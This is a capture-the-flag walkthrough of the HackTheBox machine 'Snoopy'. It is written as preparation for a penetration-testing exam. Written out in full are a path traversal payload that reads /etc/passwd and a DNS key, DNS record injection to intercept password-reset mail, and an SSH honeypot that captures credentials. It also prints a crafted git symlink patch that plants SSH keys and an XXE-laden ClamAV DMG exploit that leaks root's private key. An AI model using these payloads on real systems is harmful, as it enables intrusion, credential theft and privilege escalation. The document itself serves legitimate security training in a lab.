HTB: Snoopy

Summary

Snoopy is a Hard Linux box that chains together several distinct attack classes: web exploitation, DNS manipulation, email interception, and two separate CVE-based privilege escalations.

The foothold path starts with path traversal on a file download endpoint, which leaks the BIND RNDC key from the server’s DNS configuration. That key is used with nsupdate to inject a mail.snoopy.htb DNS record pointing at the attacker machine, allowing a Python SMTP listener to intercept a Mattermost password reset email. Decoding the quoted-printable token and logging in as sbrown reveals a server provisioning channel. Submitting a provisioning request pointing at a local SSH honeypot (sshesame) captures cbrown’s plaintext SSH credentials when the provisioning bot connects.

From there, cbrown’s sudo rule permits running git apply as sbrown. Two chained git vulnerabilities, CVE-2023-22490 and CVE-2023-23946, allow a crafted patch to follow a symlink and write an attacker-controlled SSH public key into sbrown’s authorized_keys. With access to sbrown, a second sudo rule allows running clamscan against files in a specific directory. CVE-2023-20052 exploits an XXE vulnerability in ClamAV’s DMG file parser to leak root’s SSH private key from the debug output.

Flags:

• User — LFI → RNDC key → DNS injection → SMTP intercept → Mattermost password reset → SSH provisioning honeypot → cbrown credentials → CVE-2023-22490/23946 git symlink attack → SSH as sbrown.
• Root — CVE-2023-20052 ClamAV DMG XXE → root SSH private key → SSH as root.

Detailed Walkthrough

Enumeration

Nmap Scan

As always, begin with a full TCP scan.

sudo nmap -p- --min-rate 1000 -T4 10.129.229.5 -oA TCP_allports

Extract open ports:

ports=$(grep open TCP_allports.nmap | awk -F/ '{print $1}' | tr '\n' ',' | sed 's/,$//')

Run detailed enumeration:

sudo nmap -p $ports -sC -sV -vv -oA TCP_detailed 10.129.229.5

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
53/tcp open  domain  ISC BIND 9.18.12-0ubuntu0.22.04.1
80/tcp open  http    nginx 1.18.0 (Ubuntu)

• 53 (BIND) alongside a web server is unusual — DNS should be a priority target
• 80 is nginx, not Apache — often a sign of a reverse-proxied web app
• Port count is small, so each service gets full attention

Add the initial hosts entry:

sudo nano /etc/hosts
# 10.129.229.5  snoopy.htb

Web Enumeration

The site is a company landing page for SnoopySec.

The footer shows info@snoopy.htb so we add that to hosts. The site also calls out that mail.snoopy.htb is currently offline. The mail server is down and they know it.

The team page lists employee email addresses, including sbrown@snoopy.htb, to be used later.

Fuzz for virtual hosts:

ffuf -u http://snoopy.htb \
  -t 50 \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  -H "Host: FUZZ.snoopy.htb" \
  -mc all \
  -fs 23418

One match: mm. Add it to /etc/hosts and visit. It is a Mattermost instance.

Default credentials do not work and new registrations are closed. There is a password reset form. Keep that in mind.

Path Traversal / LFI

The main site has a Downloads section with a press_release.zip link.

Intercepting the request in Burp shows the download is handled by a file parameter:

GET /download?file=announcement.pdf

That file parameter looks like it reads directly from disk. Standard ../ traversal is likely filtered, but ....// bypasses it. The filter strips one layer of ../ and leaves the rest, so each ....// becomes ../ after filtering. Replacing the filename with a traversal payload and downloading the resulting zip reveals the contents of the target file.

GET /download?file=....//....//....//....//....//....//....//etc/passwd

Finding 1 — Path Traversal in File Download Endpoint Enabling Arbitrary File Read

LFI to DNS Key Extraction

With DNS on port 53, the BIND config is the next thing to go after via LFI. Read the zone config:

GET /download?file=....//....//....//....//....//....//....//etc/bind/named.conf.local

zone "snoopy.htb" IN {
  type master;
  file "/var/lib/bind/db.snoopy.htb";
  allow-update { key "rndc-key"; };
  allow-transfer { 10.0.0.0/8; };
};

allow-update { key "rndc-key"; } means anyone presenting a valid RNDC key can add or modify DNS records. Read the main BIND config to get the key:

GET /download?file=....//....//....//....//....//....//....//etc/bind/named.conf

key "rndc-key" {
    algorithm hmac-sha256;
    secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};

Save this to rndc.key in BIND key file format.

Finding 2 — DNS RNDC Key Exposed via Path Traversal Enabling Authenticated DNS Updates

DNS Zone Transfer and Record Injection

Confirm the current zone contents:

dig axfr @10.129.229.5 snoopy.htb

The zone confirms internal hostnames (mattermost, postgres, provisions). As expected from the site, there is no mail.snoopy.htb record. Adding one pointing at our machine means the Mattermost server will deliver email to us.

Inject the record using nsupdate with the recovered key:

nsupdate -k rndc.key
> server 10.129.229.5
> zone snoopy.htb
> update add mail.snoopy.htb. 60 A 10.10.16.60
> send
> quit

Verify it landed:

dig axfr @10.129.229.5 snoopy.htb

mail.snoopy.htb now resolves to 10.10.16.60.

Note: a cleanup script runs periodically on this box. If the mail record disappears, re-run the nsupdate command before proceeding.

Finding 3 — DNS Record Injection via RNDC Key Enabling Mail Server Hijacking

Mattermost Password Reset — Email Capture

The Mattermost login page has a password reset option.

Start a Python SMTP listener to catch incoming mail:

sudo python3 -m aiosmtpd -n -l 0.0.0.0:25

Before adding the DNS record, attempting a password reset with a fake address returns a generic response. Using a real address from the team page (cschultz@snoopy.htb) returns an explicit send failure. The mail server is genuinely down.

Now that we control mail.snoopy.htb, trigger a password reset for sbrown@snoopy.htb. The email arrives at the SMTP listener:

The reset token is quoted-printable encoded. The = at the end of a line is a soft line break and =3D is an encoded =. The raw token looks like:

http://mm.snoopy.htb/reset_password_complete?token=3Dkbdfn=
oeth5oydn8h7bpowed354bnktzpauribm43gnqm6h3f7umei9b1akn1pjgq

Paste it into a quoted-printable decoder to get the clean URL:

http://mm.snoopy.htb/reset_password_complete?token=kbdfnoeth5oydn8h7bpowed354bnktzpauribm43gnqm6h3f7umei9b1akn1pjgq

Use the token to set a new password for sbrown@snoopy.htb, then log in.

SSH Provisioning Honeypot — Credential Capture

The first message on the dashboard mentions a new channel for server provisioning requests. Use the channel search to find it and join.

Posting /server_provision in the channel opens a provisioning request form. Fill it in with:

• Email: sbrown@snoopy.htb
• Department: Engineering
• OS: Linux (this sets the port to 2222)
• IP: 10.10.16.60 (the attacker machine)

The provisioning system will SSH to the specified IP and port. Set up sshesame as an SSH honeypot on port 2222 to log any credentials it presents:

git clone https://github.com/jaksi/sshesame
cd sshesame
sudo go build -buildvcs=false
sudo sed -i 's/127.0.0.1:2022/0.0.0.0:2222/g' sshesame.yaml
sudo systemctl stop ssh
sudo ./sshesame -config sshesame.yaml

Resubmit the provisioning request. Shortly after, sshesame logs a connection attempt:

Credentials captured: cbrown:sn00pedcr3dential!!!

Finding 4 — SSH Provisioning Bot Exposing Plaintext Credentials to a Honeypot Server

Foothold — SSH as cbrown

ssh cbrown@snoopy.htb

Lateral Movement — CVE-2023-22490 / CVE-2023-23946 (git apply Symlink Attack)

Enumerate privileges:

sudo -l
id

cbrown is in the devops group and can run /usr/bin/git apply -v [a-zA-Z0-9.]+$ as sbrown with a password.

The git version is 2.34.1, which is affected by two chained CVEs:

• CVE-2023-22490 — git clone with a local path bypasses a check that prevents symlinks from being followed during certain operations
• CVE-2023-23946 — git apply follows symlinks in the working tree when applying a patch, allowing writes outside the repository

Chaining them: create a symlink pointing at sbrown’s .ssh directory, craft a patch that follows that symlink, and write a controlled authorized_keys file into place.

Generate an SSH keypair:

ssh-keygen -f cbrown

Set up the repository with the symlink:

cd /dev/shm
mkdir rce
chown :devops rce
cd rce
git init .
ln -s /home/sbrown/.ssh symlink
git add symlink
git commit -m "add symlink"

Craft the patch. It renames symlink to renamed-symlink (following the symlink into sbrown’s .ssh folder), then creates renamed-symlink/authorized_keys with the attacker’s public key:

cat >patch <<-EOF
diff --git a/symlink b/renamed-symlink
similarity index 100%
rename from symlink
rename to renamed-symlink
diff --git a/renamed-symlink/authorized_keys b/renamed-symlink/authorized_keys
new file mode 100644
index 0000000..039727e
--- /dev/null
+++ b/renamed-symlink/authorized_keys
@@ -0,0 +1 @@
+ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPogKDlTwhVRs53x2n5mST/DfzuiJBPFKgqhmKf8ceuk joe@Archwarden
EOF

Apply it as sbrown:

sudo -u sbrown /usr/bin/git apply -v patch

The patch follows the symlink and writes the authorized_keys file into /home/sbrown/.ssh/authorized_keys.

ssh -i cbrown sbrown@snoopy.htb

Finding 5 — CVE-2023-22490 / CVE-2023-23946 git apply Symlink Attack Enabling Lateral Movement to sbrown

Privilege Escalation — CVE-2023-20052 (ClamAV DMG XXE)

Check privileges as sbrown:

sudo -l

(root) NOPASSWD: /usr/local/bin/clamscan ^--debug /home/sbrown/scanfiles/[a-zA-Z0-9.]+$

sbrown can run clamscan as root with --debug against files placed in ~/scanfiles/. Check the version:

clamscan --version

ClamAV 1.0.0

CVE-2023-20052 affects ClamAV 1.0.0’s DMG (Apple Disk Image) file parser. It is vulnerable to XML External Entity injection. When --debug is enabled, the XML content from the parsed DMG is written to debug output. A crafted DMG containing an XXE payload causes ClamAV to include the contents of an arbitrary local file in that output. In this case, that means root’s SSH private key.

Building the malicious DMG requires libdmg-hfsplus, which is easiest to compile inside a Docker container. Clone the exploit repository and update the Dockerfile to use Ubuntu 18.04 with compatible library versions:

git clone https://github.com/nokn0wthing/CVE-2023-20052.git
cd CVE-2023-20052

Edit the Dockerfile:

FROM ubuntu:18.04
RUN apt-get update
RUN apt-get install -y ca-certificates gnupg wget
RUN apt-get install -y libssl1.0-dev gcc g++ cmake zlib1g-dev genisoimage bbe git
RUN git clone https://github.com/planetbeing/libdmg-hfsplus.git
WORKDIR /libdmg-hfsplus
RUN cmake .
RUN make
RUN cp dmg/dmg /bin
WORKDIR /exploit
CMD ["/bin/bash"]

Build and enter the container:

sudo docker build -t cve-2023-20052 .
sudo docker run -v $(pwd):/exploit -it cve-2023-20052 bash

genisoimage -D -V "exploit" -no-pad -r -apple -file-mode 0777 -o dark.img . && dmg dmg dark.img exploit.dmg

Inject the XXE payload using bbe. This replaces the DOCTYPE declaration with one that defines an external entity pointing at /root/.ssh/id_rsa, then splices that entity into the XML body:

bbe -e 's|<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">|<!DOCTYPE plist [<!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa"> ]>|' \
    -e 's/blkx/\&xxe;/' \
    exploit.dmg -o dark2.dmg

Serve it from inside the container and download it to the target’s scanfiles directory:

python3 -m http.server 8001

On the target (as sbrown):

cd ~/scanfiles
wget 10.10.16.60:8001/dark2.dmg

Run clamscan as root:

sudo /usr/local/bin/clamscan --debug /home/sbrown/scanfiles/dark2.dmg

The debug output includes the contents of /root/.ssh/id_rsa. Copy the key to the attacker machine, set permissions, and log in:

chmod 600 root
ssh -i root root@snoopy.htb

Finding 6 — CVE-2023-20052 ClamAV DMG XXE Vulnerability Leaking Root SSH Private Key via Debug Output

Takeaways

How this box helped me prepare for the CPTS exam

1. LFI is most valuable when you know what to look for — reading /etc/passwd proves the vulnerability but does not advance the attack. Reading /etc/bind/named.conf to extract a key did. When you find LFI, you should immediately pivot to high-value targets: SSH keys, web app configuration files, .env files, and service configurations. Treat file read as a recon tool.

2. DNS zone transfers are reflexive — any time port 53 is open and you have a domain name, run dig axfr immediately. The AXFR here revealed internal hostnames (postgres.snoopy.htb, provisions.snoopy.htb, mattermost.snoopy.htb) that vhost fuzzing would have missed entirely. AXFR is a first-pass check alongside SMB null sessions and LDAP anonymous binds. Do it before anything else on a new domain.

3. CVE research on version-specific binaries is mandatory when sudo is in play — cbrown had git 2.34.1 and a sudo rule allowing git apply. sbrown had clamscan 1.0.0 and a scan directory. In both cases, the tool version was the starting point for a CVE search that unlocked the escalation. A sudo -l output showing a specific binary should immediately prompt a version check and a CVE lookup.

4. Restrictive sudo rules constrain arguments, not application behaviour — the regex ^apply -v [a-zA-Z0-9.]+$ looks locked down. It controls the argument format but says nothing about what a patch file can contain or how git processes symlinks while applying it. The same applies to the clamscan rule — [a-zA-Z0-9.]+$ controls the filename but not the file’s content. When you see a restricted sudo rule, focus on what the application does with permitted inputs rather than what the regex blocks.